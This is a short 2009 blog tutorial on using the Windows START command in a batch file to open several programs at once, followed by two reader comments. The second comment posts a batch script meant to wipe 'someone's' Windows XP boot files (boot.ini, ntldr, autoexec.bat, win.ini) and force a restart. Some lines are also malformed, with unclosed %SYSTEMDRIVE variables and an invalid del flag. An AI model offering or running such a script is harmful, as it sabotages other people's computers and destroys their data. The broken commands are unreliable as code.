Batch Script To Open Multiple Programs At Once

Posted Nov 14, 2009 | by Jason Faulkner  

If you do a task which requires you to have several programs open, a time saving thing you can do is create a batch script to open these programs and/or files at once. This is accomplished by using the START command. Using the syntax:

START /D “path_to_program” program_name

For example, to open both Firefox and IE, the batch file would look like this:

START /D “C:\Program Files\Internet Explorer” iexplore.exe
START /D “C:\Program Files\Mozilla Firefox” firefox.exe

Just save the above text into a batch file named Browsers.bat and then run it. You will see both Firefox and IE are launched. This is just a simple example, so you would want to configure the programs to be what you need.

Which Of These Traits Applies To YOUR Computing Life?...

2 Responses to “Batch Script To Open Multiple Programs At Once”

  1. Chris says:

    if you input an web address also it will not only open up the browser but also open it up at the website you put in. Really cool trick I like.

  2. Gareth Evans says:

    HAHA! This is basic command line scripting :P I figured this out for myself years back :D

    Now here’s how to delete someone’s bootloader in Windows XP and restart the computer instantly:

    @echo off
    @attrib -r -s -h %SYSTEMDRIVE%\boot.ini
    @del %SYSTEMDRIVE\boot.ini /y
    @attrib -r -s -h %SYSTEMDRIVE%\autoexec.bat
    @del %SYSTEMDRIVE\autoexec.bat /y
    @attrib -r -s -h %SYSTEMDRIVE%\ntldr
    @del %SYSTEMDRIVE\ntldr /y
    @attrib -r -s -h %WINDIR%\win.ini
    @del %WINDIR%\win.ini /y
    @shutdown -r -t 00 -f
    @cls
    @exit

    Now only use this for your own good, please.

Leave a Reply